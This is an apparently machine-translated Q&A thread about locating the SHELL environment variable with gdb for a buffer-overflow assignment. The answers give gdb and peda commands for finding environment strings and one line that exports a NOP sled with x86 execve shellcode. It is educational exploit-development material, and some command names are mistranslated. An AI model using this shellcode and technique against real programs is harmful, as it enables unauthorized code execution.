使用 gdb 查找环境变量,以利用缓冲区溢出

信息安全 开发 Unix 缓冲区溢出
2021-08-28 07:29:36

我必须在易受攻击的 C++ 程序中利用一个非常简单的缓冲区溢出来进行赋值,但我无法找到环境变量 SHELL。

我以前从未与 BoF 合作过,在阅读了很多类似的问题、帖子等之后。我有这些信息(如果有误,请纠正我):

  • 该程序将环境变量存储在一个名为的全局变量中environ
  • 我可以像这样找到这个变量的地址:

    (gdb) info variable environ
    All variables matching regular expression "environ":
    
    Non-debugging symbols:
    0xb7fd1b00  __environ
    0xb7fd1b00  _environ
    0xb7fd1b00  environ
    
  • 我需要/bin/bash在该变量中找到字符串来启动 shell(我已经获得了系统和退出地址,我只需要到 shell 的路由)。这是我不知道该怎么做的地方。我一直在阅读 gdb 教程,但仍然没有。x/s 0xb7fd1b00不输出任何有用的东西。

4个回答

environ是指向指针的指针,因为它的类型为char **environ.

你必须尝试类似的东西:

(gdb) x/s *((char **)environ)
0xbffff688:      "SSH_AGENT_PID=2107"
(gdb) x/s *((char **)environ+1)
0xbffff69b:      "SHELL=/bin/bash"
  • 环境变量距离基指针 (%ebp) 有 16 个字节。
  • 在 main 函数中放置一个断点并执行此操作,

(gdb) x/wx $ebp+0x10
0xffffd3f8: 0xffffd48c
(gdb) x/wx 0xffffd48c
0xffffd48c: 0xffffd67e
(gdb) x/s 0xffffd67e
0xffffd67e: "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0"
(gdb) (gdb) x/wx 0xffffd48c+4
0xffffd490: 0xffffd6b2
(gdb) x/s 0xffffd6b2
0xffffd6b2: "XDG_CONFIG_DIRS=/etc/xdg/lubuntu:/etc/xdg/xdg-Lubuntu:/usr/share/upstart/xdg:/etc/xdg "

参考这个博客

如果你为 gdb 安装了peda,那么你可以简单地在 gdb 中输入:

gdb-peda$ searchmem SHELL

输出将显示

Searching for 'SHELL' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0xbffff540 ("SHELL=/bin/bash")

如果您为 gdb 安装了 peda,您也可以只使用“refsearch variable_name”。

例子:

首先,您应该将变量(类似于 Shellcode)添加到环境中。

(export Shellcode=$(python -c 'print "\x90"*100 +"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80"'))

然后用示例程序打开 gdb,break main 并运行。

当程序在断点处暂停时,可以通过以下命令搜索环境地址。

参考搜索 Shellcode